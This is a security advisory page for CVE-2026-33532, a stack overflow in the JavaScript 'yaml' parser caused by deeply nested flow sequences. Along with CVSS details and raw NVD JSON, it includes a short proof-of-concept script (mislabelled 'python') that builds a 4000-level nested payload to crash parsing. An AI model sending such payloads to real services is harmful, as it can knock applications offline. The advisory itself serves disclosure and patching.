Security Vulnerability Report
中文
CVE-2026-33532 CVSS 4.3 MEDIUM

CVE-2026-33532

Published: 2026-03-26 20:16:16
Last Modified: 2026-04-02 18:11:37

Description

`yaml` is a YAML parser and serialiser for JavaScript. Parsing a YAML document with a version of `yaml` on the 1.x branch prior to 1.10.3 or on the 2.x branch prior to 2.8.3 may throw a RangeError due to a stack overflow. The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2–10 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process. Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation). Note: the library's `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion. All three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`. Versions 1.10.3 and 2.8.3 contain a patch.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:eemeli:yaml:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:eemeli:yaml:*:*:*:*:*:node.js:*:* - VULNERABLE
yaml < 1.10.3
yaml >= 2.0.0, < 2.8.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-33532 const YAML = require('yaml'); try { // Generate a deeply nested flow sequence to trigger stack overflow // Approximately 4000 levels of nesting is usually sufficient const depth = 4000; const payload = '['.repeat(depth) + 'content' + ']'.repeat(depth); console.log('Attempting to parse malicious YAML payload...'); const doc = YAML.parse(payload); console.log('Parsing succeeded (vulnerability likely patched).'); } catch (e) { if (e instanceof RangeError) { console.log('Vulnerability Detected: RangeError thrown - Maximum call stack size exceeded'); } else { console.log('Other Error:', e.message); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33532", "sourceIdentifier": "[email protected]", "published": "2026-03-26T20:16:15.543", "lastModified": "2026-04-02T18:11:37.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "`yaml` is a YAML parser and serialiser for JavaScript. Parsing a YAML document with a version of `yaml` on the 1.x branch prior to 1.10.3 or on the 2.x branch prior to 2.8.3 may throw a RangeError due to a stack overflow. The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2–10 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process. Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation). Note: the library's `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion. All three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`. Versions 1.10.3 and 2.8.3 contain a patch."}, {"lang": "es", "value": "`yaml` es un analizador y serializador YAML para JavaScript. Analizar un documento YAML con una versión de `yaml` en la rama 1.x anterior a la 1.10.3 o en la rama 2.x anterior a la 2.8.3 puede lanzar un RangeError debido a un desbordamiento de pila. La fase de resolución/composición de nodos utiliza llamadas a funciones recursivas sin un límite de profundidad. Un atacante que puede proporcionar YAML para el análisis puede desencadenar un 'RangeError: Maximum call stack size exceeded' con una pequeña carga útil (~2–10 KB). El `RangeError` no es un `YAMLParseError`, por lo que las aplicaciones que solo capturan errores específicos de YAML encontrarán un tipo de excepción inesperado. Dependiendo del manejo de excepciones de la aplicación anfitriona, esto puede hacer que fallen las solicitudes o terminar el proceso de Node.js. Las secuencias de flujo permiten un anidamiento profundo con bytes mínimos (2 bytes por nivel: uno '[' y uno ']'). En la pila predeterminada de Node.js, aproximadamente 1,000–5,000 niveles de anidamiento (entrada de 2–10 KB) agotan la pila de llamadas. El umbral exacto depende del entorno (versión de Node.js, tamaño de la pila, profundidad de la pila de llamadas en la invocación). Nota: el `Parser` de la biblioteca (fase CST) utiliza un enfoque iterativo basado en pila y no se ve afectado. Solo la fase de composición/resolución utiliza recursión real de la pila de llamadas. Las tres API de análisis públicas se ven afectadas: `YAML.parse()`, `YAML.parseDocument()` y `YAML.parseAllDocuments()`. Las versiones 1.10.3 y 2.8.3 contienen un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eemeli:yaml:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.10.3", "matchCriteriaId": "0017D58C-8426-4E52-8EF6-304204D6A019"}, {"vulnerable": true, "criteria": "cpe:2.3:a:eemeli:yaml:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.8.3", "matchCriteriaId": "BE3E24F7-D558-4862-8B10-EE0D04D0179A"}]}]}], "references": [{"url": "https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/eemeli/yaml/releases/tag/v1.10.3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/eemeli/yaml/releases/tag/v2.8.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/eemeli/yaml/security/advisories/GHSA-48c2-rrv3-qjmp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}